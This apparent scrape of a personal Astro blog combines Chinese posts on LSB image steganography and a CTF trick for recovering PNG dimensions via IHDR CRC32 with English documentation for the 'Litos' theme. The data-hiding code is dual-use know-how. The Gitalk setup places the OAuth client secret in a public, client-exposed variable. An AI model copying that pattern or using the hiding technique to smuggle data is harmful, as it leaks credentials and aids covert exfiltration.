下面是一个使用Python和PIL（Python Imaging Library）库实现LSB隐写的示例：

1. 信息隐藏

from PIL import Image

def text_to_bits(text):
    """将文本转换为位串"""
    bits = []
    for char in text:
        binary = bin(ord(char))[2:].zfill(8)  # 将字符转换为8位二进制
        bits.extend([int(bit) for bit in binary])
    return bits

def hide_data(image_path, message, output_path):
    """在图像中隐藏信息"""
    # 打开图像
    img = Image.open(image_path)
    width, height = img.size
    img_data = list(img.getdata())
    
    # 转换消息为位
    binary_message = text_to_bits(message)
    
    # 在消息前添加长度信息（32位）
    message_length = len(binary_message)
    length_bits = [int(bit) for bit in bin(message_length)[2:].zfill(32)]
    
    binary_data = length_bits + binary_message
    
    if len(binary_data) > len(img_data) * 3:  # 每个像素3个通道
        raise ValueError("消息太长，无法在图像中隐藏")
    
    # 修改像素的LSB
    new_img_data = []
    data_index = 0
    
    for pixel in img_data:
        # 对RGB通道分别处理
        new_pixel = list(pixel)
        
        for i in range(3):  # RGB三个通道
            if data_index < len(binary_data):
                # 修改最低有效位
                new_pixel[i] = (new_pixel[i] & ~1) | binary_data[data_index]
                data_index += 1
            else:
                break
                
        new_img_data.append(tuple(new_pixel))
        
        if data_index >= len(binary_data):
            # 所有数据已嵌入，添加剩余像素
            new_img_data.extend(img_data[len(new_img_data):])
            break
    
    # 创建新图像并保存
    new_img = Image.new(img.mode, img.size)
    new_img.putdata(new_img_data)
    new_img.save(output_path)
    
    return f"消息已成功隐藏在图像中。总共使用了{data_index}位。"

2. 信息提取

def extract_data(image_path):
    """从图像中提取隐藏的信息"""
    # 打开图像
    img = Image.open(image_path)
    img_data = list(img.getdata())
    
    # 提取所有LSB
    binary_data = []
    for pixel in img_data:
        for i in range(3):  # RGB三个通道
            binary_data.append(pixel[i] & 1)
            
    # 提取消息长度
    length_bits = binary_data[:32]
    message_length = int(''.join(map(str, length_bits)), 2)
    
    # 提取消息
    message_bits = binary_data[32:32 + message_length]
    
    # 将位转换回字符
    message = ""
    for i in range(0, len(message_bits), 8):
        if i + 8 <= len(message_bits):
            byte = message_bits[i:i+8]
            char = chr(int(''.join(map(str, byte)), 2))
            message += char
    
    return message

3. 使用示例

# 隐藏信息
result = hide_data("original_image.png", "这是一条隐藏消息", "stego_image.png")
print(result)

# 提取信息
extracted_message = extract_data("stego_image.png")
print("提取的消息:", extracted_message)

实际应用与安全考虑

LSB隐写技术在实际应用中可以用于：

• 数字水印
• 秘密通信
• 版权保护
• 隐蔽存储敏感数据

但需要注意：

• 简单的LSB隐写可以被隐写分析工具检测
• 对图像的任何处理（如压缩、裁剪）都可能破坏隐藏的信息
• 为提高安全性，隐藏的信息通常应该先加密

高级LSB隐写技术

为了增强LSB隐写的安全性和鲁棒性，可以采用以下高级技术：

• 随机分布：不是按顺序修改LSB，而是使用伪随机数生成器确定修改位置
• 多位隐写：不仅修改最低位，还可能修改次低位，但需平衡可见性
• 自适应LSB：根据图像区域的复杂度动态调整隐写容量
• 结合其他隐写技术：如DCT（离散余弦变换）域隐写

这个页面是一个中文测试。

IHDR[宽高隐写]

例题：

https://www.nssctf.cn/problem/3883

https://drive.google.com/file/d/1mpvUpJS1yOREPecvtZNSzpj6mXboqRte/view?usp=drive_link

重点：

PNG文件的宽高的CRC32值在HEX的29位-32位字节，但是根据PNG中实际记录的IHDR计算出来的CRC32对不上，而PNG长宽是IHDR字节控制的，所以存在截断情况。要恢复实际内容中CRC32字节的宽高内容

要计算 PNG 图像中 IHDR 数据块的 CRC 值，你需要对 IHDR 数据块的数据和类型进行计算，而不是整个数据块。

计算过程通常分为以下步骤：

数据块类型：IHDR 数据块的类型名称是固定的，为 IHDR（四个大写英文字母）。

数据块数据：IHDR 数据块的数据部分包含了图像的基本信息，包括：

宽度 (4 字节)

高度 (4 字节)

位深度 (1 字节)

颜色类型 (1 字节)

压缩方法 (1 字节)

过滤方法 (1 字节)

隔行扫描方法 (1 字节) 这些数据加起来总共是 13 个字节。

你需要将 IHDR 这四个字节和后面 13 个字节的数据拼接起来，然后对这 17 个字节的数据进行 CRC32 运算，最终得到 IHDR 数据块的 CRC 值。

Shell

xxd -s 29 -l 4 -c 4 #查看PNG文件真正IHDR
dd if=XXX.png bs=1 skip=12 count=17 > 1.bin & crc32 1.bin | awk '{printf toupper($1)}'

Script

import zlib
import struct

def calculate_ihdr_crc32(file_path):
    """
    计算并验证 PNG 文件中 IHDR 数据块的 CRC32 校验值。

    参数:
        file_path (str): PNG 文件的路径。
    """
    try:
        with open(file_path, 'rb') as f:
            # 读取 PNG 文件的前 33 个字节，IHDR 块的所有信息都在这里
            # 8字节的PNG签名 + 4字节的IHDR长度 + 4字节的IHDR类型 + 13字节的IHDR数据 + 4字节的IHDR CRC32
            header_data = f.read(33)
            
            # 从第 12 个字节开始，获取 IHDR 类型和数据，共 17 个字节
            # 4字节的IHDR类型 + 13字节的IHDR数据
            ihdr_chunk_data = header_data[12:29]
            
            # 计算 CRC32 校验值
            calculated_crc32 = zlib.crc32(ihdr_chunk_data) & 0xFFFFFFFF
            
            # 提取文件中已有的原始 CRC32 值
            # 原始 CRC32 值位于文件的第 29 到 32 个字节（索引从 0 开始）
            original_crc32_bytes = header_data[29:33]
            original_crc32 = struct.unpack('>I', original_crc32_bytes)[0]
            
            print(f"IHDR 数据块的原始 CRC32 值: 0x{original_crc32:08X}")
            print(f"IHDR 数据块的计算 CRC32 值: 0x{calculated_crc32:08X}")
            
            if calculated_crc32 == original_crc32:
                print("\n结果: IHDR 校验值匹配，文件可能没有损坏。")
                return True
            else:
                print("\n结果: IHDR 校验值不匹配，文件可能已损坏或被篡改。")
                return False

    except FileNotFoundError:
        print(f"错误: 文件 '{file_path}' 未找到。")
        return False

# 请将 'your_image.png' 替换为你的 PNG 文件路径
file_name = 'your_image.png'
calculate_ihdr_crc32(file_name)

Tools

[1]. 自动检测宽高工具 https://github.com/AabyssZG/Deformed-Image-Restorer#

[2]. 基于第一性原理的PNG隐写术 https://blog.xpnsec.com/png-steganography/

This theme was developed during my free time, and the documentation may not be comprehensive enough, but I will try my best to explain it.

Prerequisite

Before starting, ensure you have the following tools installed in your development environment:

• Node.js - Required for running the development environment.
• pnpm - Our preferred package manager for dependency management.
• Git - For version control and project management.
• VS Code - Recommended code editor with excellent development experience.

Startup project

There are two ways to do this:

• Fork the repository
• Use this template - In the future, content-free branches will be launched, which do not require deleting and replacing content.

After you have your own repository, you can clone it to your local machine.

Update Theme

When the theme releases a new version, you can pull the latest changes without losing your content by following these steps:

1. Add upstream remote (only needed once)

git remote add upstream https://github.com/Sh3n1in/blog.git

2. Fetch and merge the latest theme

git fetch upstream
git merge upstream/main --no-edit

3. Resolve conflicts (if any)

Conflicts typically only occur in files you have modified, such as src/config.ts. In that case, just keep your own configuration and accept the rest of the theme updates.

End

The following documents will be divided into pages, such as readme, posts…

The following files are compatible with this document:

• src/pages/index.astro - readme page.
• src/config.ts - readme page config.
• src/components/base - most of the components come from here.

Site Config

Configure basic site information:

export const SITE: Site = {
  title: 'Litos',
  description: 'Litos is a blog theme built with Astro.js and 神林.',
  website: 'https://blog.shenlin.black/',
  lang: 'en',
  base: '/',
  author: '神林',
  ogImage: '/og-image.jpg',
}

Header Links

Top jump link component configuration:

export const HEADER_LINKS: Link[] = [
  {
    name: 'Posts',
    url: '/posts',
  },
]

Footer Links

Footer link component configuration:

export const FOOTER_LINKS: Link[] = [
  {
    name: 'Readme',
    url: '/',
  },
]

Social Links

In the readme page, you can see a string of icons below the theme introduction, which can be configured below. Icons are from Iconify.

export const SOCIAL_LINKS: SocialLink[] = [
  {
    name: 'github',
    url: 'https://github.com/yourname',
    icon: 'icon-[ri--github-fill]',
    count: 11,
  },
  {
    name: 'twitter',
    url: 'https://x.com/yourname',
    icon: 'icon-[ri--twitter-x-fill]',
  },
]

Spotlight

export const GITHUB_CONFIG: GithubConfig = {
  ENABLED: true,
  GITHUB_USERNAME: 'Sh3n1in',
  TOOLTIP_ENABLED: true,
}

Skills

On the readme page, you can see a skill display area where you can showcase your skills by configuring the following code:

export const SKILLSSHOWCASE_CONFIG: SkillsShowcaseConfig = {
  SKILLS_ENABLED: true,
  SKILLS_DATA: [
    {
      direction: 'left',
      skills: [
        {
          name: 'JavaScript',
          icon: 'icon-[mdi--language-javascript]',
        },
        {
          name: 'CSS',
          icon: 'icon-[mdi--language-css3]',
        },
        {
          name: 'HTML',
          icon: 'icon-[mdi--language-html5]',
        },
        {
          name: 'TypeScript',
          icon: 'icon-[mdi--language-typescript]',
        },
      ],
    },
  ],
}

Posts

Here, we mainly display pinned posts. If there are no pinned posts, we will display the latest number of size posts based on POSTS_CONFIG.

The following files are compatible with this document:

• src/pages/posts/[...id].astro - post specific content display page.
• src/pages/posts/[...page].astro - post list page.
• src/content/posts - posts collection
• src/content.config.ts - posts dataset and frontmatter configuration.
• ec.config.mjs - expressiveCode config.
• plugins/index.ts - remark and rehype plugins.
• src/config.ts - posts page config.
• src/components/posts - most of the components come from here.

Posts Page Config

The posts page config is configured in the following code:

export const POSTS_CONFIG: PostConfig = {
  title: 'Posts',
  description: 'Posts by 神林',
  introduce: 'Here, I will share the usage instructions for this theme to help you quickly use it.',
  author: '神林',
  homePageConfig: {
    size: 3,
    type: 'compact',
  },
  postPageConfig: {
    size: 10,
    type: 'minimal',
  },
  tagsPageConfig: {
    size: 10,
    type: 'time-line',
  },
  ogImageUseCover: false,
  postType: 'metaOnly',
  imageDarkenInDark: true,
  readMoreText: 'Read more',
  prevPageText: 'Previous',
  nextPageText: 'Next',
  tocText: 'On this page',
  backToPostsText: 'Back to Posts',
  nextPostText: 'Next Post',
  prevPostText: 'Previous Post',
  recommendText: 'REC',
}

There are a few configuration attributes, please refer to the table below for details.

Type & PostType

In the above document, we mentioned configurable types for configuring the display style of list data on the readme page, posts page, and tags page, as well as configurable postTypes for displaying metadata at the top of the posts content page.

Here is the specific style display of type:

Here is the specific style display of postType:

Frontmatter

After discussing the external list and overall design of the post, let’s take a look at the content of the post together. These contents are all in the src/content/posts folder.

Below is the frontmatter of the post content:

---
title: 'Litos: Posts Page Config'
description: ''
pubDate: 2025-08-13
author: '神林'
recommend: true
tags: ['Litos', 'Documentation']
---

You can configure the frontmatter of the post content in the following code:

const posts = defineCollection({
  loader: glob({
    pattern: '**/*.{md,mdx}',
    base: './src/content/posts',
  }),
  schema: ({ image }) =>
    z
      .object({
        title: z.string(),
        description: z.string(),
        pubDate: z.date(),
        tags: z.array(z.string()).optional(),
        updatedDate: z.date().optional(),
        author: z.string().default(POSTS_CONFIG.author),
        cover: image().optional(),
        ogImage: image().optional(),
        recommend: z.boolean().default(false),
        postType: z.custom<PostType>().optional(),
        coverLayout: z.custom<CoverLayout>().optional(),
        pinned: z.boolean().default(false),
        draft: z.boolean().default(false),
      })
      .transform((data) => ({
        ...data,
        ogImage: data.ogImage ? data.ogImage : POSTS_CONFIG.ogImageUseCover && data.cover ? data.cover : undefined,
      })),
})

Syntax and Code Style

This guide will show you how to format text using Markdown through a 3-day city trip itinerary. Learn Markdown while planning your journey!

Heading Levels

For travel notes, multiple heading levels help organize days, time blocks, and tips:

# 3-Day City Trip Itinerary

## Day 1: Arrival & Old Town

### Morning Plan

#### Coffee Stops

##### Metro Tips

###### Notes

Text Formatting

When writing travel notes, highlight important info:

Must-see spots should be bold Flexible time uses italics Critical cautions can use both Optional detours use strikethrough

**Must-see spots** should be bold
_Flexible time_ uses italics
**_Critical cautions_** can use both
~~Optional detours~~ use strikethrough

Packing List (Unordered List)

• Passport, visa
• Camera, extra battery
  • Bring a fast charger
  • Spare SD card
• Refillable water bottle
• Public transport card

- Passport, visa
- Camera, extra battery
  - Bring a fast charger
  - Spare SD card
- Refillable water bottle
- Public transport card

Day 1 Schedule (Ordered List)

1. Airport → hotel check-in
2. Old Town walking tour
3. Evening river cruise
   1. Arrive 15 min early
   2. Queue at Gate B
   3. Window seats recommended

1. Airport → hotel check-in
2. Old Town walking tour
3. Evening river cruise
   1. Arrive 15 min early
   2. Queue at Gate B
   3. Window seats recommended

Blockquotes

Traveler tip: Buy a 24‑hour metro pass if you plan 3+ rides in a day.

Save the hotel address in offline maps for quick access.

> Traveler tip: Buy a 24‑hour metro pass if you plan 3+ rides in a day.
>
> Save the hotel address in offline maps for quick access.

Code Blocks

Use simple code to estimate budget:

type Budget = { flight: number; hotel: number; meals: number; transport: number }
export const total = (b: Budget) => b.flight + b.hotel + b.meals + b.transport

console.log(total({ flight: 1200, hotel: 450, meals: 180, transport: 60 })) // 1890

Tables

Sample schedule:

Links and Images

More tips: Official Tourism Board

Trip photo:

Horizontal Rule

Inline Code

Metro line A runs every 5-7 minutes during peak hours.

Math Formulas

Daily budget estimation: budget=hotel+meals+transportbudget = hotel + meals + transportbudget=hotel+meals+transport

Total trip:

Task Lists

Pre-trip checklist:

• Book flights
• Reserve hotel
• Buy metro pass
• Download offline maps

Footnotes

This itinerary draws on local travel guides(click to the footnote) ¹.

Expressive-code config

In Markdown documents, we use code blocks to display code snippets and other content. This document explains how to customize the code block configuration.

The code blocks in this theme are configured using Expressive Code with all configuration options defined in the ec.config.mjs file. Below is the main configuration options:

import { defineEcConfig } from 'astro-expressive-code'
import { pluginCollapsibleSections } from '@expressive-code/plugin-collapsible-sections'
import { pluginLineNumbers } from '@expressive-code/plugin-line-numbers'

export default defineEcConfig({
  defaultLocale: 'zh-CN',
  defaultProps: {
    wrap: false,
    collapseStyle: 'collapsible-auto',
    showLineNumbers: false,
    preserveIndent: true,
  },
  minSyntaxHighlightingColorContrast: 0,

  styleOverrides: {
    uiFontFamily: 'GeistMono, Input Mono, Fira Code, ShangguSansSCVF, monospace',
    uiFontSize: '1em',
    codeFontFamily: 'GeistMono, Input Mono, Fira Code, ShangguSansSCVF, monospace',
    codeFontSize: '14px',
    codeLineHeight: '1.4',
    borderRadius: '0',
    codePaddingBlock: '0.8571429em',
    codePaddingInline: '1.1428571em',
    borderColor: ({ theme }) => (theme.type === 'dark' ? '#24273a' : '#e6e9ef'),

    frames: {
      frameBoxShadowCssValue: false,
      inlineButtonBackgroundActiveOpacity: '0.2',
      inlineButtonBackgroundHoverOrFocusOpacity: '0.1',
    },
    textMarkers: {
      backgroundOpacity: '0.2',
      borderOpacity: '0.4',
    },
  },

  plugins: [
    pluginCollapsibleSections({
      defaultCollapsed: false,
    }),
    pluginLineNumbers(),
  ],

  themes: ['catppuccin-macchiato', 'catppuccin-latte'],
  themeCssSelector: (theme) => (theme.name === 'catppuccin-macchiato' ? '.dark' : ':root:not(.dark)'),
  useDarkModeMediaQuery: false,
  useStyleReset: false,
})

You can go to the website to view the configuration options of expressive-code.

Comment System (Gitalk)

The theme has a built-in Gitalk comment system that uses GitHub Issues as the comment backend. Each post automatically gets its own issue for comments.

Prerequisites

You need to create a GitHub OAuth App first:

1. Go to GitHub Developer Settings → OAuth Apps → New OAuth App.
2. Fill in the form:
   • Application name: Any name (e.g. My Blog Comments)
   • Homepage URL: Your site URL (e.g. https://yourdomain.com)
   • Authorization callback URL: Same as your site URL
3. After creation, copy the Client ID and generate a Client Secret.
4. Create a public repository on GitHub to store comment issues (e.g. blog-comments).

Configuration

Configure the comment system in src/config.ts:

export const COMMENT_CONFIG: CommentConfig = {
  enabled: true,
  system: 'gitalk',
  gitalk: {
    clientID: import.meta.env.PUBLIC_GITHUB_CLIENT_ID,
    clientSecret: import.meta.env.PUBLIC_GITHUB_CLIENT_SECRET,
    repo: 'blog-comments',
    owner: 'YourGitHubUsername',
    admin: ['YourGitHubUsername'],
    language: 'en-US',
    perPage: 5,
    pagerDirection: 'last',
    createIssueManually: false,
    distractionFreeMode: false,
    enableHotKey: true,
  },
}

Then set the environment variables. Create a .env file in the project root (refer to .env.example):

PUBLIC_GITHUB_CLIENT_ID=your-github-client-id
PUBLIC_GITHUB_CLIENT_SECRET=your-github-client-secret

Config Properties

This guide has made slight changes based on the markdown-mdx-extended-features.

Callouts

Supported by the rehype-callouts , you can configure the plugin in plugins/index.ts.

If you change the theme configuration (default: 'vitepress'), you will also need to update the imported CSS file in src/styles/pro.css (@import 'rehype-callouts/theme/yourconfig').

<!-- Callout type names are case-insensitive: 'Note', 'NOTE', and 'note' are equivalent. -->

<!-- vitepress -->

<!-- This is a _non-collapsible_ callout -->

> [!note]
> Note content.

> [!tip]
> Tip content.

> [!important]
> Important content.

> [!warning]
> Warning content.

> [!caution]
> Caution content.

> [!caution]- This is a **collapsible** callout
> Caution content.

> [!note]+ This is a **collapsible** callout
> Note content.

Fully-featured Code Blocks

Supported by astro-expressive-code with @expressive-code/plugin-collapsible-sections and @expressive-code/plugin-line-numbers plugins to add styling and extra functionality for code blocks.

To customize code block themes or functionality, modify the ec.config.mjs file at the project root after reviewing the Configuring Expressive Code, such as change themes, enable word wrap, or toggle line numbers.

Here’s a quick preview of what’s possible. Check the detailed guide for more info.

Syntax highlighting

console.log('This code is syntax highlighted!')

ANSI colors:
- Regular: Red Green Yellow Blue Magenta Cyan
- Bold:    Red Green Yellow Blue Magenta Cyan
- Dimmed:  Red Green Yellow Blue Magenta Cyan

256 colors (showing colors 160-177):
160 161 162 163 164 165
166 167 168 169 170 171
172 173 174 175 176 177

Full RGB colors:
ForestGreen - RGB(34, 139, 34)

Text formatting: Bold Dimmed Italic Underline

Code editor frames

// Use `title="my-test-file.js"`
console.log('Title attribute example')

// src/content/index.ts
// Use `// src/content/index.ts`
console.log('File name comment example')

Terminal frames

echo "This terminal frame has no title"

Write-Output "This one has a title!"

Marking full lines & line ranges

// Line 1 - targeted by line number
// Line 2
// Line 3
// Line 4 - targeted by line number
// Line 5
// Line 6
// Line 7 - targeted by range "7-8"
// Line 8 - targeted by range "7-8"

Selecting line marker types (mark, ins, del)

function demo() {
  console.log('this line is marked as deleted')
  // This line and the next one are marked as inserted
  console.log('this is the second inserted line')

  return 'this line uses the neutral default marker type'
}

Adding labels to line markers

// labeled-line-markers.jsx
<button role="button" {...props} value={value} className={buttonClassName} disabled={disabled} active={active}>
  {children && !active && (typeof children === 'string' ? <span>{children}</span> : children)}
</button>

Adding long labels on their own lines

// labeled-line-markers.jsx
<button role="button" {...props} value={value} className={buttonClassName} disabled={disabled} active={active}>
  {children && !active && (typeof children === 'string' ? <span>{children}</span> : children)}
</button>

Using diff-like syntax

+this line will be marked as inserted
-this line will be marked as deleted
this is a regular line

  function thisIsJavaScript() {
    // This entire block gets highlighted as JavaScript,
    // and we can still add diff markers to it!
-   console.log('Old code to be removed')
+   console.log('New and shiny code!')
  }

Marking individual text inside lines

// Plaintext search strings
function demo() {
  // Mark any given text inside lines
  return 'Multiple matches of the given text are supported'
}

Marking individual text inside lines

// Regular expressions
console.log('The words yes and yep will be marked.')

# Regular expressions
echo "Test" > /home/test.txt

// Regular expressions
If you only want to mark certain parts matched by your regular expression, you can use capture groups.

For example, the expression `/ye(s|p)/` will match yes and yep, but only mark the character s or p:

// Regular expressions
To prevent this special treatment of capture groups, you can convert them to non-capturing groups by adding ?: after the opening parenthesis. For example:

This block uses `/ye(?:s|p)/`, which causes the full
matching words "yes" and "yep" to be marked.

// Selecting inline marker types (mark, ins, del)
function demo() {
  console.log('These are inserted and deleted marker types')
  // The return statement uses the default marker type
  return true
}

Configuring word wrap per block

// Example with wrap
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

// Example with wrap=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

Configuring indentation of wrapped lines

// Example with preserveIndent (enabled by default)
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

// Example with preserveIndent=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

Collapsible sections

// All this boilerplate setup code will be collapsed
import { someBoilerplateEngine } from '@example/some-boilerplate'
import { evenMoreBoilerplate } from '@example/even-more-boilerplate'

const engine = someBoilerplateEngine(evenMoreBoilerplate())

// This part of the code will be visible by default
engine.doSomething(1, 2, 3, calcFn)

function calcFn() {
  // You can have multiple collapsed sections
  const a = 1
  const b = 2
  const c = a + b

  // This will remain visible
  console.log(`Calculation result: ${a} + ${b} = ${c}`)
  return c
}

// All this code until the end of the block will be collapsed again
engine.closeConnection()
engine.freeMemory()
engine.shutdown({ reason: 'End of example boilerplate code' })

Displaying line numbers per block

// This code block will show line numbers
console.log('Greetings from line 2!')
console.log('I am on line 3')

// Line numbers are disabled for this block
console.log('Hello?')
console.log('Sorry, do you know what line I am on?')

// Changing the starting line number
console.log('Greetings from line 5!')
console.log('I am on line 6')

Image Caption & Link

Use the :::image directive from remark-directive-sugar to wrap images in a container for captions, clickable links, and more. Customize via the image option in plugins/index.ts (remarkDirectiveSugar) and style under /* :::image */ in src/styles/pro.css.

image-figure

:::image-figure[caption]{<figcaption> attrs}: The square brackets define the <figcaption> text (defaults to the alt text from ![]() if omitted), while the curly braces are used for inline styles or supported attributes to the generated <figcaption> element.

![alt](image path)(<img> attrs): Standard Markdown image with optional attributes in parentheses, enabled by remark-imgattr, for customizing the generated <img> element.

:::image-figure[caption]{<figcaption> attrs}: The square brackets define the <figcaption> text (defaults to the alt text from ![]() if omitted), while the curly braces are used for inline styles or supported attributes to the generated <figcaption> element.

![alt](image path)(<img> attrs): Standard Markdown image with optional attributes in parentheses, enabled by remark-imgattr, for customizing the generated <img> element.

:::image-figure[This Is a **Figcaption** with _`<figure>` Attrs_]{style="text-align:center;color:orange"}
![](assets/cover.png)
:::

:::image-figure[This is a **figcaption** with _`<img>` attrs_.]
![](assets/cover.png)(style: width:600px;)
:::

<!-- 💡 Use `(class:no-zoom)` to disable zoom -->

:::image-figure[This is a **figcaption** with `class:no-zoom`.]
![](assets/cover.png)(class:no-zoom)
:::

<!-- 💡 If no `[caption]`, use `[alt]` as figcaption. -->

:::image-figure
![If `[caption]` not set, the alt text from `![]()` will be used as the figcaption.](assets/cover.png)
:::

<!-- 💡 Images for light (img-light) and dark (img-dark) modes -->
<!-- ⚠️ At least one line must separate two image syntaxes (![]()), or won't work. -->

:::image-figure[This example shows different images for light (add `class:img-light`) and dark (add `class:img-dark`) modes.]
![](assets/image-16-9-light.png)(class:img-light)

![](assets/image-16-9-light.png)(class:img-dark)
:::

<!-- ❌ If no text is available for the figcaption, it won't work.  -->

:::image-figure
![](assets/cover.png)
:::

image-a

The custom directive wraps an image inside a link, making it clickable.

:::image-a{<a> attrs}: Define the link (href), styles, or classes in the curly braces for <a> element.

![alt](image path)(<img> attrs): Same as above.

:::image-a{href="https://github.com/Sh3n1in/blog"}
![OG image](assets/cover.png)
:::

:::image-a{href="https://github.com/Sh3n1in/blog" style="display:block" .custom-class}
![OG image](assets/cover.png)(style: margin-bottom: -1rem; transform:scaleX(1.1) scaleY(1.1);, loading: eager)
:::

::::image-a{href="https://github.com/Sh3n1in/blog"}
:::image-figure[This example shows `:::image-a` wraps around `:::image-figure` (both are interchangeable).]
![OG image](assets/cover.png)
:::
::::

<!-- ❌ No external links provided, it won't work.-->

:::image-a
![OG image](assets/cover.png)
:::

image-figure-polaroid

Polaroid style images with a border and shadow.

In order to ensure the style size on the phone, I have set a minimum width of 300px, and you can modify and expand the style in src/styles/picture.css.

:::::image-div-polaroid
:::image-figure-polaroid[This is a **figcaption** with _`<img>` attrs_.]
![OG image](assets/cover.png)
:::
:::::

:::::image-div-polaroid
:::image-figure-polaroid
![OG image](assets/cover.png)

cover.png
:::
:::::

:::::image-div-polaroid
:::image-figure-polaroid
![OG image](assets/cover.png)
:::
:::::

<!-- change style -->

:::::image-div-polaroid
:::image-figure-polaroid{style="width:500px;"}
![OG image](assets/cover.png)
:::
:::::

This is a figcaption with <img> attrs.

cover.png

GitHub Card

Congratulations from oopsunix

::github{repo="Sh3n1in/blog"}

Video Embedding

Use the ::video directive from remark-directive-sugar for consistent video embedding across different platforms. Customize via the video option in plugins/index.ts and style under /* ::video */ in src/styles/pro.css.

Say example.md contains:

<!-- Embed a YouTube video -->

::video-youtube{#gxBkghlglTg}

<!-- Embed a Bilibili video with a custom `title` attr -->

::video-bilibili[custom title]{id=BV1MC4y1c7Kv}

<!-- Embed a Vimeo video with class `no-scale` to disable scaling -->

::video-vimeo{id=912831806 class='no-scale'}

<!-- ::video-vimeo{id=912831806 .no-scale} -->

<!-- Embed a custom video URL (must use `id`, not `#`) -->

::video{id=https://www.youtube-nocookie.com/embed/gxBkghlglTg}

Then example.mdx renders as:

Styled Link（:link）

Use the :link directive from remark-directive-sugar to add links with avatars or favicons for GitHub, npm, or custom URLs. Customize via the link option in plugins/index.ts and style under /* :link */ in src/styles/pro.css.

Link to a GitHub user or organization (prepend id with @)

Example 1: :link[神林]{#@Sh3n1in} links to the GitHub profile of the project maintainer, 神林.

Example 2: Vite links to the GitHub profile of the Vite organization.

Example 3: :link{#@Sh3n1in tab=repositories} links directly to the repositories tab of the GitHub user, like Sh3n1in. For GitHub users, valid tab options: 'repositories','projects', 'packages', 'stars', 'sponsoring', 'sponsors'.

Example 4: :link{#@vitejs tab=org-people} links directly to the people section of a GitHub organization, like vitejs. For GitHub organizations, valid tab options: 'org-repositories', 'org-projects', 'org-packages', 'org-sponsoring', and 'org-people'.

Link to a GitHub repository

Example 5: :link[Astro]{#withastro/astro} or Astro creates a link to Astro repo.

Link to an npm package

Example 6: :link{#remark-directive-sugar} links to the npm homepage of the remark-directive-sugar.

Example 7: :link{id=remark-directive-sugar tab=dependencies} links to the dependencies section of the remark-directive-sugar on npm. For npm package, valid tab options: 'readme', 'code', 'dependencies', 'dependents', and 'versions'.

Link to a custom URL (must use id, not #)

Example 8: :link{id=https://developer.mozilla.org/en-US/docs/Web/JavaScript} creates an external link to the developer.mozilla.org/en-US/docs/Web....

Example 9: Google creates an external link to the Google.

Customization

Example 10: Vite creates a Vite to https://vite.dev/ instead of https://github.com/vitejs by using the url.

Example 11: Vite creates a Vite that displays a custom logo by using the img.

Example 12: :link{id=Sh3n1in/blog class=github} creates a Sh3n1in/blog with class=github (or .github) to override the default style of a GitHub repository.

Example 13: Litos Themes fully customizes a link. Litos Themes

Badges

Use the :badge directive from remark-directive-sugar to display small pieces of information, such as status or category.

The theme provides the following one predefined badges. You can customize them via the badge option in plugins/index.ts and style them under /* :badge */ in src/styles/pro.css.

• badge-n: NEW

Additionally, you can direct use :badge[text]{attrs} for easy visual customization of badges. For example: :badge[ISSUE]{style="background-color: #bef264"} will display as ISSUE. If no color is specified, the default appearance will look like This.

Details Dropdown

:::details
::summary[Details Dropdown]

- List item 1
- List item 2
- List item 3
- List item 4
  :::

• List item 1
• List item 2
• List item 3
• List item 4

Additionally, it also supports usage similar to the examples in remark-directive.

Due to the small size of the Project and tag page configurations, they are merged into one document.

The following files are compatible with this document:

• src/pages/projects/index.astro - project page.
• src/pages/tags/index.astro - tag statistics page.
• src/pages/tags/[tag]/[...page].astro - specific tag display post list page.
• src/config.ts - project and tag page config.
• src/components/base - most of the components come from here.

Project Page Config

Configure page texts:

export const PROJECTS_CONFIG: ProjectConfig = {
  title: 'Projects',
  description: 'The examples of my projects.',
  introduce: 'The examples of my projects.',
}

Project content

The content displayed on the project page comes from /src/content/projects.

Its writing style is similar to posts: one MDX file represents one project.

Project frontmatter

Example (src/content/projects/Litos/index.mdx):

---
name: 'Litos'
description: 'A Simple & Modern Blog Theme for Astro.'
githubUrl: 'https://github.com/Sh3n1in/blog'
website: 'https://blog.shenlin.black/'
type: 'image'
icon: '../../../../public/projects/litos.png'
imageClass: 'w-10 h-10'
star: 32
fork: 7
---

Tag Page Config

export const TAGS_CONFIG: TagsConfig = {
  title: 'Tags',
  description: 'All tags of Posts',
  introduce: 'All the tags for posts are here, you can click to filter them.',
}

This document describes the current implementation of the Photos page.

Current file structure

• src/pages/photos/index.astro
  • Reads page text from PHOTOS_CONFIG
  • Reads timeline data from PhotosList
• src/config.ts
  • Stores PHOTOS_CONFIG
• src/lib/photos.ts
  • Stores PhotosList
  • Auto-imports photo files
  • Converts one folder of images into Photo[] with getPhotos()
• src/types.ts
  • Defines PhotoData, Photo, and PolaroidVariant
• src/components/photos/PolaroidCard.tsx
  • Maps each variant to the actual card size

Page text

The page title and intro text come from src/config.ts.

export const PHOTOS_CONFIG: PhotosConfig = {
  title: 'Photos',
  description: 'Here I will record some photos taken in daily life.',
  introduce: 'Here I will record some photos taken in daily life.',
}

src/pages/photos/index.astro renders the page like this:

---
import { PHOTOS_CONFIG } from '~/config'
import { PhotosList } from '~/lib/photos'

const { title, description, introduce } = PHOTOS_CONFIG
---

<Layout {title} {description}>
  <PageTitle {title} {introduce} />
  <PhotoTimeline photoData={PhotosList} />
</Layout>

PhotosList

PhotosList is defined in src/lib/photos.ts. Each item is one timeline entry.

export const PhotosList: PhotoData[] = [
  {
    title: 'Ningbo - Botanical Garden',
    icon: { type: 'emoji', value: '🌼' },
    description: 'It was early spring, so I went to see the cherry blossoms.',
    date: '2026-03-07',
    travel: '',
    photos: getPhotos(
      '2026-03-07-botanicalGarden',
      'Early spring cherry blossoms at the botanical garden',
      ['3x4', '3x4', '3x4', '3x4', '3x4', '3x4']
    ),
  },
]

PhotoData fields

How getPhotos() works

Current implementation:

function getPhotos(dir: string, alt: string, variants: PolaroidVariant[]): Photo[] {
  return Object.entries(photoModules)
    .filter(([path]) => path.includes(`/${dir}/`))
    .sort(([a], [b]) => a.localeCompare(b))
    .map(([, mod], index) => {
      const img = mod.default
      return {
        src: img,
        alt,
        width: img.width,
        height: img.height,
        variant: variants[index] || '4x3',
      }
    })
}

Parameter meaning

Important behavior

1. getPhotos() first filters all imported images by folder name.
2. It then sorts the matched file paths with localeCompare.
3. It creates the final Photo[] in that sorted order.
4. variants[index] is applied to the photo at the same index.
5. If one index is missing in variants, that photo falls back to '4x3'.

